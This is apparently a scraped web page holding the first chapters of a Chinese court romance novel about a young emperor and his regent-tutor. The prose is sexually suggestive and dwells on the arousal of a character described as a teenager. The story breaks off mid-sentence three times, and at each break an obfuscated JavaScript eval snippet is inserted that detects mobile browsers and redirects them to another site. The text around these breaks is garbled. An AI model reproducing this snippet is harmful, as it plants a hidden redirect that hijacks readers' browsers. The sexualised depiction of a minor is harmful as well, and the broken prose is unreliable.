《帝师的教谕》 1. 第一章 微风轻抚窗棂,檐下的金铃随着风吹发出清脆的声响,前一阵子金色的琉璃瓦还在阳光的照耀下熠熠生辉,转眼间天就阴了下来,滴滴答答的雨滴打在瓦片上。 木窗露着一条缝,窗外随风飘摇的嫩色柳枝一洗如新,沈衡坐在榻上凝神望着手中的奏章,高大的身影端庄笔直,不远处的三足莲花香炉里,皇帝独用的一两千金佳楠香缓缓升起,柔和清雅。他即使身坐帝王内室也没有半分不自在,像是早已习以为常。 外面的水汽氤氲蒸腾,透过窗子渗透进来,弥漫了些植物的清香。 外室服侍的宫人都被屏退,内殿安静肃穆,只听见雨滴在屋檐的声音和奏折翻动声,渐渐雨势增大,狂风骤起,伏在沈衡膝上的人微微动了动头,似是被雨声吵嚷了安眠。 白色的衣衫飘逸灵动轻盈如雾,层层叠叠如一朵绽开的十瓣莲花,上面的金线暗纹如浮光跃金,在光影里明暗变换深浅,边缘的一圈墨色衬得人越发白皙,零落绣了别致纹样的宽大衣袖压在宋南卿侧脸下,未束起来的青丝如瀑倾泻而落,半遮掩住面孔,散开铺在了沈衡腿上,发梢柔顺散落在榻前,也盖住了潮红一片睫毛湿润的面容。 外面的垂丝海棠沾染了雨滴垂下头来,香气盈盈的内殿里,少年帝王散着头发侧卧在沈衡膝上,把外面传闻中功高震主不苟言笑的帝师当成了天然的枕头用。在华丽衣袍的掩盖下,他的身体不自觉颤抖,嘴中发出了几声模糊不清的呓语,难耐又透着冷意,也像被春雨打湿了一般带着潮意。 “嗯…哼嗯…”清亮的少年音此刻多了几分暧昧不清,轻轻柔柔的声音虽然很小,但像小勾子一样在人心底勾起涟漪。沈衡眼色微沉,放下手里的奏折,用修长如玉的手指撩开一缕长发,把宋南卿被发丝遮住的脸露了出来,他睡的不太安稳,似有难耐挣扎的意味。 玉雪一般白皙无暇的脸只有巴掌大,即使只是单单一个侧脸也看得出秾丽绝艳的风姿,卷翘的睫毛很长也很浓密,轻轻扫过沈衡手心时带来令人心颤的痒意,眼尾微微上挑像是某种名贵品种的异国猫,也许是因为情动,整个人散发着一种浓艳靡丽的香艳气息,霞映澄塘般明艳照人。 雷声闷闷一响,震的地都在颤。 他颤抖的频率逐渐增快,红唇微张溢出无意识的喘息低吟,眉头似蹙非蹙,一截雪白脖颈微微低垂,面颊浮现出不明显的潮红。沈衡坐的很直,一副无欲超脱的样子,一如玄色外袍上绣的白鹤,只有头低着望向宋南卿,似是打量似是欣赏,眼神从对方轻咬的唇再到紧闭的眼,最后移向抖动不止的衣摆。 少年天子浑身抖动起来,嘴里发出了半是难受半是愉悦的细碎声音,修长的脖子反仰起来,脸颊在男人膝上难耐蹭动,青丝滑落一派绮丽,身体一抽一抽地似要弹起,就在他晃着头发似要沉入梦魇中的时候,一只大手握住了圆润清瘦的膝头朝一侧分开,睡梦中的小皇帝流下了心痒难耐的泪水,无力地在身旁人的衣袖上抓挠了两下。 “陛下,该醒了。” 端正坐立的帝师声音一派从容,清冷入耳,在少年帝王的呜咽声中更显得遗世独立。 温热的手指拭去宋南卿眼尾的泪水,拂过鬓边青丝捋好。外面下雨天气湿冷,手底下的脸肉如一块温玉般触手生热,只是指尖触碰一下,像是要陷进这块温香软玉中去。 “唔…”睡梦中的人睫毛颤了颤睁开双眼,眼尾泛红,抬起一双还未清醒的潮湿睡眼望向沈衡,他觉得全身燥热,下雨的天空气仿佛都凝固了,身子湿漉漉的,黏腻又燥得慌,头脑也像蒙了一层雾般不甚清楚。 他抬起头看向窗外,撑着身体从沈衡腿上起来,扶住脑袋晃了晃头问:“先生怎么在这里?” 白色的月影纱外袍从肩头滑落,掉在了臂弯上,宋南卿反手勾住披好,腰肢纤细有着独属于少年人的曲线,他的脑中闪过几个模糊的画面,身体一软又靠在了人肩膀上,却听见沈衡说: “我如果不在这里,此刻你枕着的就是未来贵妃了。” 宋南卿攥住衣袖,猛地仰头看他,氤氲水雾的眼眸骤然清明起来。 不对劲的身子,意识模糊前那个穿着清凉来到他榻前的侍女……宋南卿低头拉开外袍,发现里面依然穿的一丝不苟,他轻轻松了一口气,又缓慢抬眼打量起沈衡来。 抬起的明明是极其冶艳瑰丽的一张脸,微微上挑的眼尾有着猫一样的媚,但身处高位给他增添了不可侵犯的高傲姿态,这样绝色的容姿要是放在平常人家里,不知几岁早就被拐了去开了荤,因他是皇帝,敢正眼瞧他的人一只手就数的过来,更加上沈衡自他小时就看他看的紧,已经快要成年的岁数了,还是有着未沾染情致的清纯天真。 如果不是被下了药,怎么会有今天这种如同艳熟海棠开到糜烂的样子。 酥痒奇异的感觉还没消散,他别别扭扭地并着腿,手指搅动着宽大的衣袖,一方面后怕一方面后悔,有关那个侍女是谁派来的猜想,一个又一个浮现脑海中。 宋南卿抿了抿唇,道:“那个侍女……” “说仰慕陛下,拼死也想伺候一场,根本不知下药之事。”沈衡像是知道他要问什么,“在慎刑司挨了两柱香,依然没改变说辞。” 什么时候起,饮食里能毫无察觉就被下了不知名的东西,还有随便进他寝宫的侍女。或者说他们一直都能,只是临近自己成年,连演都不演了。 “你信吗?” 情绪一起,体内药性又发作,宋南卿的尾音带上了轻颤和湿意,明明是生气发怒的一句话,却愣生生带上了娇嗔的意味,靠在人身上细细抖动。 沈衡见状,轻轻拍了拍手。内侍无声走到了帘子外,低垂着头说:“陛下,您的药好了。” 宋南卿微抬起手,端着托盘的宫人垂眼来到跟前,把白瓷碗搁置在了榻几上。 沈衡垂眼看着案上的奏折。 宋南卿偷看了他一眼,伸出食指抵住那个药碗向旁边推,不满地扯了扯帝师大人的袖子。 “先生都不心疼我,还要让我喝苦药。” 沈衡抬眼注视着他,“心疼你,但作为我的学生,被这等下等伎俩陷害得手,我觉得陛下该好好反思自己。” 看着那个药碗的移动轨迹,沈衡微抬下颌道:“把药喝了。” 少年的脸颊上还有未完全褪去的婴儿肥,此时鼓了鼓,身体前倾趴在榻几上说:“我不喝!一看就很苦。本就没有先生聪明,如今那么难受你还要凶我,难受死我算了!” 宋南卿趴在桌子上冲人撒娇,玉白的手指勾住了沈衡的手摇晃,把脸贴在了人手心蹭弄,眼神带着依赖,鼻息扑在手心带来热气和痒意,他半眯着眼睛脸颊又红了起来,喘息加重药性上涌,干燥的嘴唇擦着沈衡的掌心而过,身上散发出的甜美韵味,第一次让沈衡意识到,这个他一直看着成长的小孩子,好像真的长大了。 蠢蠢欲动的手指推着瓷碗往边缘推,就在他要佯装不小心推下去摔碎的时候,一道声音制止了他。 “卿卿。”暗含威胁的声音又带着丝丝无奈。 沈衡拢住碗搁置在了面前,拿起勺子说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949862|177511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“别胡闹。” 褐色的药汁被盛在勺子里,喂到了宋南卿嘴边,少年不情不愿张嘴往下咽,脸皱成一团往后躲,最后被捏住下颌全喂了进去。 “咳咳……谋杀!你这是谋杀圣上!”宋南卿吐着舌头苦的直皱眉,面若桃花连眼睛都湿润起来,雾蒙蒙的委屈至极。 口腔里弥漫着苦涩的滋味,一截红舌吐在外面鲜艳又勾人,这时一颗蜜饯被塞进了他的嘴里,瞬间解了千种苦涩。 “唔…盐津梅子,还是梅坡斋的。”宋南卿含着蜜饯尝出了独特的滋味,睫毛还湿着又露出笑容来,他瞥见沈衡正把荷包收起,于是快速抱住了对方的胳膊。 “你专门买的?这个可要很早去排队,我让春见去买了好几次都没买到。” 沈衡只是微微颔首,少年抱着他的胳膊晃,不住地磨人要他再给自己吃一颗,小皇帝从小什么山珍海味没尝过,他只是借个由头好跟人亲近罢了。 今日到底是何人下药还未知晓,但前朝宫里,没有一个是想看他安安稳稳当皇帝的,摄政王这条大腿他抱了那么多年,能抱稳的唯一诀窍是:无害。要幼稚,要善于依赖,要聪明但不能太聪明,要离开沈衡他就什么都做不成,唯有如此他才能在众多想把他拆吃入腹的豺狼虎豹中获得一个保护伞。 当然,沈衡也不是什么安全的保护伞,古往今来有哪个权臣拥立幼主上位,是真的想从头培养一个明君呢,不过都是为了揽权而已。 宋南卿敛了敛神,又恢复了一个十几岁少年该有的天真烂漫姿态,或者说,是沈衡最放心的姿态。好像一颗好吃的梅子就能让他把一切忘掉。 沈衡的目光从吞吐梅子的那截红色的舌尖上划过,快速移开视线,君子端的是非礼勿视。他姿态挺拔端起桌上的茶啜饮,动作缓慢又赏心悦目。 宋南卿见他竟然丝毫没有被打动,反而看向别处。朝他的目光方向看去,是刚刚端药来的内侍,竟然放下药到现在还未离开。 望着那名宫人和沈衡手中的茶,宋南卿目光一闪,轻轻扬起唇说:“你长那么好看在朕身边伺候,你说摄政王是应该看奏折,还是该看你。” 宫人闻言连忙跪地,噤声颤抖不敢抬头。 沈衡连一眼都欠奉,坐在榻上随意道:“不喜欢?让他走便是。” 因为这简单的一来一回两句话,皇帝宫里的宫人换了一批伺候,人员锐减,能接近皇帝身边饮食起居的人寥寥无几,毕竟符合小皇帝口中又不能太好看又不能太难看标准的,只有宋南卿一人说了算。 宫中人道皇帝过分看重摄政王,二人私情甚笃,不过这都是后话了。 听到这道命令下下去,沈衡轻笑:“这不是挺聪明的。” 宋南卿垂眸,转过头背对着他。 他当然也不能是个完全的蠢货,不然一个蠢皇帝,不懂怎么给沈衡想要的,不能给他养成的乐趣,也是个废物。 再转过身,宋南卿眼中饱含孺慕之情,语气真诚像是未曾含一丝作假说:“我只想让先生看着我。” 没给沈衡反应的机会,他接着问了一句:“舅舅来了道请安折子,你看了没有。” “中宫无后,还是那套说辞。”沈衡把手边的奏折往旁边一推,似是没把这位帝舅兼内阁首辅放在眼里。 在不断上升的楠木香旁,宋南卿的目光从那堆散开倒塌的奏折上掠过,声音微凉:“舅舅有些太着急了。” 话锋一转,他托着下巴勾住沈衡的袖子,水润的眼睛看着人说:“吃了药也还是难受,怎么办。” 2. 第二章 滴滴答答下了一夜的雨,第二日天气放晴,天空万里无云,晨光熹微,光亮一点点扩大照射范围,给宫殿的木门一角镀上了一层金边,垂丝海棠沾了雨后开得更娇艳了。 端着铜盆和洗漱用品的宫人站在殿前门外等候,安静的只能听见远处的鸟叫和风声。 绣了祥云的帷幕垂在床前,影影绰绰可以看见床上的人影,紫檀木的龙床上雕刻着金龙出云的花样,不远处多宝阁上陈列着插了粉白花朵的瓷瓶,点点花瓣掉落在下面铺开。 宋南卿“哼” 了一声转过头,丝毫不理从宫人那里接过衣服来的沈衡。 昨日贺勇将军大胜沿海倭寇班师回朝,宋南卿以摄政王在宴席饮酒微醺,回府不便之由将他留在了宫里。沈衡在宫中有惯常住的居所,离乾清宫不远,不过最终睡在哪张床上,就无人知晓了。 一开始是因为皇帝年幼,需要人照顾,他依赖沈衡十分怕独眠遇害,毕竟主少国疑,他这个皇帝当的是如履薄冰,那时谁都在盯着皇位蠢蠢欲动,没有人觉得宋南卿这个皇帝位子能端坐多久,不过是看沈衡什么时候想取而代之罢了。 沈衡掀开被子一角,直接上手去解他的寝衣,神若如常道:“又发什么脾气,这次的朝服可是按照你心意做的。” 不远处挂在架子上的红色纱袍如雾般倾泻而下,并在领缘、袖口拼接上了黑色的缘边。领口上搭配了垂白罗的方心曲领,金玉带挂在一旁,端庄又华贵无比。 最近宋南卿长得快,寝衣有些短,盖不住大腿根,等到扣子解到最下面一颗的时候,腿间的异样暴露出来,宋南卿轻轻扯动了一下衣摆,黛色的眉毛微皱,生闷气道:“不舒服,都怪你。” 少年嘴角下撇,美人生气都像是含情一般瞪着他,莹玉般的大腿轻微夹紧,沈衡的手撩起衣摆看了一眼,了然。 床前的帷幕本来半撩起,此刻又全放下来了。 两节雪白的大腿露在外面,嫩生生的格外晃眼,寝衣朝两边拨开,立在中间的东西难以忽略。 宋南卿别别扭扭说:“谁让你昨夜不帮我,我就说那个药根本就没有用,现在还是这样,我是不是以后好不了了。” 洁白的寝衣衬得他嘴唇红润,微微撅起的唇瓣饱满多肉,委屈的表情让他做起来也有种娇纵意味,他抬脚蹬在沈衡的膝盖上,瞪着眼无声谴责对方,仿佛这全都是沈衡的错处。 床幔围绕下只能浅浅看到里面人的轮廓,听不清说了什么。绣着精致纹路的锦被中,宋南卿一个劲往沈衡身上蹭,很快被一只大手握住了腿制止动作。 力量十足的手指几乎要陷进凝脂般白嫩的腿肉里,在宋南卿大腿内侧留下了淡淡的红色指痕。 “疼——”他扁着嘴委屈地喊,把一分痛喊成了十分,伸手去掰开沈衡的禁锢,一边小声抱怨:“你们打过仗的人是不是都喜欢使用暴力啊。” “还有谁?”沈衡问,并没有否认。 宋南卿鼓着脸说:“西洲啊,昨天在御花园抓鱼,他差点把鱼给弄死了。” 沈衡的眼神明暗不定。 宋南卿知道,他不喜欢自己和贺西洲太亲近,镇远侯世子,目前军中不可多得的将帅之才,被许多人赞有摄政王沈衡年轻时的风姿,昨日设宴赞赏的打败倭寇的贺勇将军就是他父亲,战事中他随父出征,也发挥了不小作用。 看着腿上的指痕,宋南卿低头轻轻附在沈衡耳边说了几句话,耳根微红。 “陛下,可以对先生提这种要求吗?”沈衡已经穿戴整齐,听了这话手指收紧,腕上的绿檀佛珠随着动作滑落,触碰到了宋南卿莹润的大腿。 听出了他语气中暗含的责问,宋南卿摇摇头见好就收,垂下的睫毛扇动,像是犯错的小孩。 空气安静了一瞬,沈衡放缓了声音道:“你长大了,晨起这般也正常,不是药物缘故。” 沈衡意识到他一手教养长大的孩子好像真的在这方面疏忽了,轻轻叹了口气:“要上朝,如果实在难受,念清心咒。” 宋南卿还是把头转向旁边,沈衡倾身过去,见他还是一副不理人的样子,把手腕上的佛珠摘下来握在手里,用冰凉的珠串在他脸颊上刮了刮,哄着人道:“好了,晚上有时间帮你,嗯?” 得到这句话,宋南卿的脸上总算冰雪初融了,他抢过人手中的佛珠绕到了自己腕上,压平上扬的嘴角:“这可是你说的。” 衣角被沈衡拂开,在中裤上身之时,他不免被宋南卿腿根处那个嫣红的胎记吸引,如同花朵展开的形状,印在腿根,一张腿就看得见。这是胎记,也是印在他身上的诅咒。 宋南卿出生时王朝飘摇正在打仗,当朝皇帝亲征斩下敌人首级,那人头都被砍下来了,还能吐出一口热血溅了皇帝一脸,临死前怒目圆睁诅咒皇帝:说来世一定化作厉鬼让大盛王朝不得安宁。 当时的贾贵妃诞下皇子,军心大振,但无人知晓老皇帝看了婴儿腿间那个胎记之后露出的憎恶表情。那朵艳红的花,和当时喷溅在他脸上今生都忘却不了的血迹形状,如出一辙。因着军情民心只说小皇子身体不好,放在一旁养就是了,连对贾贵妃都慢慢疏远了。 宋南卿在与冷宫无异的地方长到六岁,尝遍人情冷暖也不得不性情圆滑,直到皇帝驾崩,那位被封为摄政王的年少将军沈衡带人马将皇宫围得跟铁桶一般,剩下的就像梦中情景了。 不过那些记忆过去太久,只能捕捉到残影,但关于自己的身体之事,他一直都隐隐约约知道,这个胎记不是什么好东西,母亲生前每每提起,都一副愧疚无奈的样子。 宋南卿接过他手中的中裤自己穿上,把那朵花掩盖在衣物之下,但上面散乱的带子他实在是束手无策,伸直了腿冲着沈衡,膝盖上下轻晃。 “不会系。”他理直气壮吩咐沈衡。 修长灵活的手指绕过一条条系带,慢悠悠固定在他的腿上,帝师大人连替人穿衣服都神色正经认真,像是在研究什么学问。 “自己穿过几次衣裳,四体不勤。”沈衡把中裤系好,看了一眼懒散困倦东倒西歪的小皇帝道,抬手一扯拉开了床幔。 宋南卿一边在宫人的服侍下洗漱穿外衣,一边对沈衡说:“朕没有五谷不分已经很好了!” 清晨的丝丝阳光透过花窗照进来,少年细腻光滑的脸经太阳一照,连小绒毛都看得见,顺滑的乌发披在背后,经发梳理过,如同最上好的绸缎,一看就是从头到脚都被养的很好的模样。 在做皇帝之前,他当然不是这个样子,别说穿衣,就是缝衣他也做过,如果不识五谷,他又怎么在御膳房不送餐食的时候,和母亲一起活下来呢。沈衡也见过他那个样子,只是现在,他们都默契地不再提起。 朝冠戴好,宋南卿在即将推门而出之时,听见沈衡说:“离贺家远点,你以为贾良为何在昨日突然按捺不住。” 脚下一顿,宋南卿跨过门槛,朝太阳升起的方向大步往前。 ———— 宣政殿内,八根鎏金盘龙柱直伸到房梁顶,一阶一阶的金色阶梯之上,宋南卿穿着正式的朝服坐在宽大的龙椅上,头上戴着卷云冠,如瀑的长发束起,端坐垂眸居高临下,接受众人跪拜之时,散发出了淡淡的威仪。 底下百官分排站立,沈衡穿着御赐蟒袍站在最前端,在他旁边的就是年过五十依然精神抖擞的内阁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949863|177511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首辅,贾良。 “陛下,贺大将军胜仗归来,还俘虏了倭人首领,解决东南倭寇扰乱我朝子民之事,实在是功德一件,臣以为应好好嘉奖。”贾良拱手上前一步率先发言。 宋南卿不言,手指拨弄着佛珠。 这时御史王潜用带有不认同的语气说:“贺将军俘虏倭人首领实属功德,但臣听说俘虏的手段实是…不从礼法、德行有亏。如嘉奖贺将军,岂非认同这种行为,臣以为不可。” 宋南卿来了兴趣,越过青铜兽首香炉望向王御史问:“哦?俘虏手段怎么德行有亏了,说来与朕听听。” 龙椅上的少年帝王似是对朝政无心,却对八卦感兴趣,王御史与贾良对视一眼,道:“臣听闻,贺将军带领部下将那倭人首领的妻子抓去以为要挟,为了妻子不受折辱,敌方才投降。那倭人首领是有情有义之辈,在东南之地这二人情比金坚之事已成佳话。反倒是贺将军如此作战手段,以此事要挟实在不是君子所为,臣以为不宜大肆嘉奖。” “臣是个粗人,战场作战只管输赢不论与敌方情谊,贺勇只图报效朝廷不求任何嘉奖。”贺勇目光清正,语气严肃,也没有为自己辩解。 兵部侍郎进言道:“陛下,臣研究过那倭人首领的作风,在行军打仗和作战谋划上,有勇有谋,如今他率部众投降,或许可以为我所用。” 堂下有人持反对之言:“兵部如今是招不到兵了还是买不到马了,这等投降屈膝的小人,决不可为我所用,二心之臣终是隐患。” 你一言我一语争吵不休,宋南卿拨着佛珠念了几句清心咒还是烦躁,换了个姿势托住下巴说:“舅舅怎么看?” 贾良道:“贺大将军战功赫赫须得嘉奖,只是百姓流言也不能不重视,封赏太过也不相宜。况且户部亏空,在军事支出一项上已经负债良多,如果能启用降将及其亲部,未尝不是一件好事。” “京口下游是阻挡南边敌人侵犯的重要关口,缺人镇守,蛮荒之地,且现在此地百姓因为贺将军作战手段不妥一事,有了流言,只靠贺大人一人难以顾全局面。是安置倭人的好去处。”兵部侍郎道。 贺勇想总领京口下游已经良久,那是他祖籍所在,一旦镇守,东边粮草丰盈皆可容易为他所用,这次胜仗归来就是想请皇帝赏他这个权力,没想到请功之言还未说出口,就被这殿上几句话间翻转了形式,再想请赏已是没那么容易。 宋南卿知晓贺勇是武人,论唇舌根本说不过这些人,对他说:“争夺之时以策略为先,定分之后以忠义为首。这次打胜仗缴回许多财物,一些入国库,一些在户部账上吧?” 掌管户部的贾良点头称是。 “这样,让贺将军先挑,朕记得有柄精工方戬,很适合西洲。”宋南卿用宽慰的表情看向贺勇,“之前听说宫里禁军练出来新的作战方案,西洲一向感兴趣,最近太平,有时间让他跟着去看看。” 贺勇双膝跪地,沉声说:“谢陛下。” “剩下的事,亚父看着办吧,退朝。”宋南卿揉了揉太阳穴,得到沈衡的颔首之后,迈着不轻不重的步子离开了宣政殿。 一边往外走,宋南卿身后还跟了一大堆人,他眉头微皱像是在思考什么不得了的大事,后面替他举华盖的、抬轿子的、前面引路的都因为皇帝皱眉而小心谨慎起来。这是在朝堂上有什么事不顺心了?哪位大人敢惹了陛下忧心,内侍交换眼神面面相觑。 他突然停住脚步,对离他最近的人吩咐道:“春见,你去宫外替朕寻些话本子来,要最流行的那种爱情话本。” 让最英勇善战的首领都能投降,他到要看看这个爱情是不是真的有那么神奇。 3. 第三章 暖阁内窗开了一条缝隙,微风轻拂,吹的窗边花枝微颤。木头菱格交替排列,阳光透过白色窗纸淡淡照进屋里,紫檀书桌前坐着两人,左边那人盘腿而坐,一手将书卷翻页,一手捻起一块牛乳糖糕放入嘴里,眼睛弯起来嚼着糖糕,露出满足的表情。 乳白色的糕点碎屑沾到嘴角,宋南卿伸舌头舔过,在又翻过一页时,一张奏折压到了他的书上。沈衡凑近道:“看看这个。” 宋南卿连忙把剩下的半块牛乳糕塞进嘴里,腮帮子鼓起,一边努力嚼着一边低头看折子。 是御史台副御史递上来的一张弹劾奏折,上面字字恳切讽刺性十足,说内阁首辅贾良之子贾士凯品行低下性格顽劣,为青楼女子和人大打出手,中伤多人出言不逊,贾良教子不严应反省自身,近来独揽大权汲汲钻营,恐以后危及朝廷云云。 沈衡看他两颊鼓鼓吃东西的模样,从袖子里抽出张帕子,在他嘴角擦了擦糕点碎屑,说:“慢点吃,不急。” 宋南卿朝他摊开手,“唔唔”了两声,一杯茶被送到了他嘴边,饮了两口才算能正常说话。 他喝了几口推开茶杯,皱起眉说:“太苦了。” 沈衡低头一看,才发觉刚才关注心切,递错了杯子,给宋南卿喝的是自己的茶,杯口重合的是二人喝过的茶水痕迹。 “这个副御史说的话倒是比御史王潜动听一些,怎么以前没见他露过面。”宋南卿已经咽下那口苦茶,对奏折上的内容发问。 沈衡把杯子移开,放在了一旁,袖口墨色的花纹像是杯中被水泡开舒展的茶花。 “听说王潜最近置了一处别院,可能忙着修葺,没心思管御史台的事吧。” 宋南卿轻笑一声,“想来也是,他要是在,这折子怎么也递不到你手里。”似是想起了什么,他接着说: “前几日在朝上,王潜和舅舅一唱一和,白脸红脸演了个酣畅淋漓,我竟不知道,满朝文武什么时候起都和贾良长了一条舌头。” 沈衡淡淡道:“利益相关,休戚与共。”折子被拿了回去。 宋南卿重复了一遍这八个字,眼睛重新看向桌上的书,书中正好也写到这一处。驸马爷使得公主对自己一见倾心下嫁与他,二人经历重重磨难终于夫妻一心,由于已是利益一体,公主不得不把许多资源拱手让与驸马,最终江山竟然改姓。这个从山村里摸爬滚打成长的穷小子,通过使公主倾心于自己,官至丞相最终成长为一代帝王。 看到这里,宋南卿眼睛都直了,阵阵发愣,不敢相信这话本子竟真是这种走向。把书翻到第一页,书名赫然写着——《重生之我靠赘公主走上九五至尊》。 ………… 宋南卿面露难色,觉得这本不如他昨天看的那本《一炷香教你御男十术》,至少那本真的具有实操意义。 他撇撇嘴,从后方堆的一摞书中抽出一册新的,放置在案上。 深蓝色的书册,封面上是两个大字——《大学》。 翻开封面,又是一个新的封面,书名是《侯爷追妻:侯门少夫人九十九次出逃》,宋南卿眼睛一亮,迫不及待翻开书,刚看第一章就被吸引住了全部心神。 【“夜玄殇,你以为拥有了我的身子就拥有了我吗?我告诉你,不可能!”沈雪柔的眼角滑落一滴清泪,倔强地扬起小脸,“我已经有你大哥的孩子了,就算你使诡计让他去往战场,我生是他的人,死是他的鬼,我是不会嫁给你的!” 夜玄殇邪魅一笑,揽住她的肩膀语气强硬:“怎么,不嫁给我你还想嫁给他?你们沈府如果没我支撑,信不信明日圣上一道指令下来,就被满门抄斩,嫁给我或者死,你选一个吧!” 】 宋南卿眉头一皱。 怎么又有皇帝的事,皇帝是你想命令下旨满门抄斩就满门抄斩的吗?皇帝是一个小驸马想取而代之就取而代之的吗?这些写话本子的到底怎么回事啊,而且怎么会有人叫夜玄殇这种名字,按八字来讲能活到而立之年吗? 他手指往后使劲翻了几页,一入眼就是不得了的画面: 【沈雪柔又紧张又后悔,抱着怀里满身是血的男人,不住地亲吻他冰凉的嘴唇,颤声道:“我错了,夜玄殇,一切都是我的错,只要你能醒过来,我明日就嫁给你,求求你醒过来。” 直到这一刻,沈雪柔才意识到,什么家族仇恨,什么权力算计,都不过是过眼云烟,她只想让面前这个男人醒过来,像第一次见那样,笑得灿烂又无惧。 “为什么,为什么不早告诉我,早点告诉我我们也不至于走到今天这一步,夜玄殇,我恨你。”沈雪柔嘴角也流出了一道鲜血,声音逐渐微弱,“我恨你,我也爱你。”】 宋南卿手指颤抖,被一种又尴尬无助又忍不住想继续看下去的感觉驱使,他们到底发生了什么,怎么剧情就到这一步了呢?而且恨你和爱你是能在同一个人身上同时发生的吗?这几天看了那么多话本子,他好像还是不懂,爱究竟是什么。 “在看什么?”一道平静的声音传来,沈衡端着一杯茉莉蜜茶来到宋南卿身旁,袖摆扫过案几,他身上檀木的香气很淡,但令人难以忽视,闻起来是平心静气的味道。 宋南卿一个激灵,猛地把手中的书合上,讪讪道:“没…没什么,随便看看。” 沈衡眼睛微眯,拎起书的一角,另一角被宋南卿连忙拽在手里,他双手攥紧书角,伸直了胳膊用力摇摇头,大大的眼睛里充满请求,鬓边发丝随着动作撩动侧脸,一看就是心虚的模样。 “不能给我看?”沈衡没有用多少力,他今天穿了一袭墨袍,衬得人严肃锋利,几年前的沈衡还是个能止小儿夜啼的杀神存在,靠大义灭亲屠杀草原王赢得皇帝青睐。也就是几年不上战场,一副文人模样让人忽略了他的本性。大盛长公主和草原王的血脉,当他严肃起来时,再俊朗的面容也不能缓解那一身的压迫感。 本来宋南卿没那么紧张,可是今日这本真的不行,内容太超过了,如果被沈衡看到会怎么想自己啊!他抓着书角不松手,抿起嘴露出求饶撒娇的表情,长长的睫毛快速扇动,企图被放过。 “不行,真的不行…”宋南卿屈膝坐在软席上,被沈衡单手几乎拖着移动了一段距离。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949864|177511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见他这样,沈衡也不再坚持,挑起一边眉毛眼神暗暗,声音却很温柔:“卿卿有秘密,还是我不能知道的。” 语气意味深长,让宋南卿止不住发起抖来,他十分清楚沈衡生气是什么表现,虽然这种情况并不常见,但后果不是他能承受的。 给沈衡看了只是丢人,不给他看,万一沈衡以为自己有什么秘密想要逃离他的管控之下,那可就要完了。 “不是……”宋南卿忙抓住沈衡的衣袖,一副破罐子破摔的样子:“好了!给你看给你看!” 当沈衡看见面前这本大学的时候,面露疑惑,当他翻开封面一看到封面二的时候,单侧眉毛微挑,饶有兴味地看了宋南卿一眼。 皇帝陛下本人捂着脸在旁边坐立难安,从指缝中隐约可见红透的面庞。 当沈衡粗略翻完这本书,宋南卿已经在旁边快要升天了,他趴在桌上把脸埋起来一动不动。 “原来卿卿喜欢看这种?”沈衡静了半天才道。 宋南卿猛地抬头反驳:“我不是喜欢!我没有!”发现沈衡仍然是一副好整以暇的表情,他扑到人腿上把书夺走,扔出去很远,胳膊撑在对方膝盖上捂住脸,耳根红透。 沈衡摸了摸他的头,道:“怎么想起看这种东西了,情爱对帝王来说是最无用的。” 宋南卿不说话,心里想那是对一般帝王来说的,他可不是那种坐拥天下万人之上的那种皇帝,而是驸马就能取而代之……随便一人就能命他下令满门抄斩的,那种小皇帝。 一介泥腿子穷小子靠公主的情爱能坐上皇帝宝座,凶狠残忍杀人越货的倭人首领能为情爱甘心被俘,那么他能否……利用情爱。 沈衡见他不说话,手指插入顺滑的发丝让人微微仰头,注视着宋南卿道:“陛下是有喜欢的人了?” 宋南卿正陷入自己的思索中,突然听到对方问了那么一句,表情有些茫然发愣,一时不知作何反应。但在沈衡看来,这就是心事被戳中后的窘迫。 “有什么是不能告诉我的?”沈衡撩动他的发尾,语气淡然,“我不喜欢你有瞒着我的事。” 这个年纪情窦初开实属常事,但在他的手下,除了那日疏漏的侍女,还没有人能把什么能引起宋南卿关注的人送进来,不是女人,会是谁?宋南卿为宽慰贺勇嘉奖的贺西洲?他们年纪相仿,确实能玩到一起去……沈衡想起宋南卿跟他称赞对方抓鱼厉害、身手矫健种种。杯子里的水由于外界力道变大,开始摇起波纹。 宋南卿眼睛转了转,昨日看的那本《御男十术》中讲,面对男人“到底喜欢谁”的发问,不能挑明说清,又不能不给对方幻想空间,最优解是…… 日光澄然,少年半披着发跪坐在紫檀书桌前,旁侧置物架上的琉璃花樽折射出五彩的光芒,映衬在他的脸上,他往前挪了几步抱住沈衡的胳膊轻晃,柔软的手指轻轻点在人宽大的手心,水光潋滟的眼睛一点点上抬,直直注视着人,脸扬起的弧度是昨日按照书上说法精心设计过的,声音带着三分娇气三分无奈还有一丝怯懦,唇珠微翘道: “先生知道的…” 4. 第四章 “我该知道什么?” 